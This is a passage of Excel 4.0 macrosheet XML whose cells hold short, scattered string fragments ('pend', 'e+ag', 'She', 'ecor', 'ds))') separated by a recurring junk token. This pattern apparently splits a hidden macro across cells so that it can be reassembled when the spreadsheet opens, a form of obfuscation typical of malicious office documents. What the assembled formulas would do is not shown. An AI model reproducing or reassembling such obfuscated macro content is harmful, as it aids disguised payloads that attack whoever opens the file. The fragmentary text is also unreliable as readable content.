t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="Z76" t="str"><f>"itu"</f><v>itu</v></c></row><row r="77" spans="1:26" x14ac:dyDescent="0.25"><c r="D77" t="s"><v>13</v></c><c r="P77" t="s"><v>101</v></c><c r="U77" t="s"><v>146</v></c><c r="Z77" t="s"><v>185</v></c></row><row r="78" spans="1:26" x14ac:dyDescent="0.25"><c r="D78" t="str"><f>",1"</f><v>,1</v></c><c r="P78" t="str"><f>"pend"</f><v>pend</v></c><c r="U78" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="Z78" t="str"><f>"re-1"</f><v>re-1</v></c></row><row r="79" spans="1:26" x14ac:dyDescent="0.25"><c r="D79" t="s"><v>14</v></c><c r="P79" t="s"><v>102</v></c><c r="Z79" t="s"><v>186</v></c></row><row r="80" spans="1:26" x14ac:dyDescent="0.25"><c r="D80" t="str"><f>"00,2"</f><v>00,2</v></c><c r="P80" t="str"><f>"itur"</f><v>itur</v></c><c r="Z80" t="str"><f>")&amp;"""</f><v>)&amp;"</v></c></row><row r="81" spans="4:26" x14ac:dyDescent="0.25"><c r="D81" t="s"><v>15</v></c><c r="P81" t="s"><v>103</v></c><c r="Z81" t="s"><v>187</v></c></row><row r="82" spans="4:26" x14ac:dyDescent="0.25"><c r="D82" t="str"><f>"00"</f><v>00</v></c><c r="P82" t="str"><f>"e+ag"</f><v>e+ag</v></c><c r="Z82" t="str"><f>"]C"</f><v>]C</v></c></row><row r="83" spans="4:26" x14ac:dyDescent="0.25"><c r="D83" t="s"><v>16</v></c><c r="P83" t="s"><v>104</v></c><c r="Z83" t="s"><v>188</v></c></row><row r="84" spans="4:26" x14ac:dyDescent="0.25"><c r="D84" t="str"><f>")"</f><v>)</v></c><c r="P84" t="str"><f>"re"</f><v>re</v></c><c r="Z84" t="str"><f>"[0"</f><v>[0</v></c></row><row r="85" spans="4:26" x14ac:dyDescent="0.25"><c r="D85" t="s"><v>17</v></c><c r="P85" t="s"><v>105</v></c><c r="Z85" t="s"><v>189</v></c></row><row r="86" spans="4:26" x14ac:dyDescent="0.25"><c r="D86" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c><c r="P86" t="str"><f>"ed,"</f><v>ed,</v></c><c r="Z86" t="str"><f>"]"",r"</f><v>]",r</v></c></row><row r="87" spans="4:26" x14ac:dyDescent="0.25"><c r="P87" t="s"><v>106</v></c><c r="Z87" t="s"><v>190</v></c></row><row r="88" spans="4:26" x14ac:dyDescent="0.25"><c r="P88" t="str"><f>",,"""</f><v>,,"</v></c><c r="Z88" t="str"><f>"ecor"</f><v>ecor</v></c></row><row r="89" spans="4:26" x14ac:dyDescent="0.25"><c r="P89" t="s"><v>107</v></c><c r="Z89" t="s"><v>191</v></c></row><row r="90" spans="4:26" x14ac:dyDescent="0.25"><c r="P90" t="str"><f>"She"</f><v>She</v></c><c r="Z90" t="str"><f>"ds))"</f><v>ds))</v></c></row><row r="91" spans="4:26" x14ac:dyDescent="0.25"><c r="P91" t="s"><v>108</v></c><c r="Z91" t="s"><v>192</v></c></row><row r="92" spans="4:26" x14ac:dyDescent="0.25"><c r="P92" t="str"><f>"et1"</f><v>et1</v></c><c r="Z92" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c></row><row r="93" spans="4:26" x14ac:dyDescent="0.25"><c r="P93" t="s"><v>109</v></c></row><row r="94" spans="4:26" x14ac:dyDescent="0.25"><c r="P94" t="str"><f>"""))"</f><v>"))</v></c></row><row r="95" spans="4:26" x14ac:dyDescent="0.25"><c r="P95" t="s"><v>110</v></c></row><row r="96" spans="4:26" x14ac:dyDescent="0.25"><c r="P96" t="str"><f>"QtugqbnawLGFsL"</f><v>QtugqbnawLGFsL</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>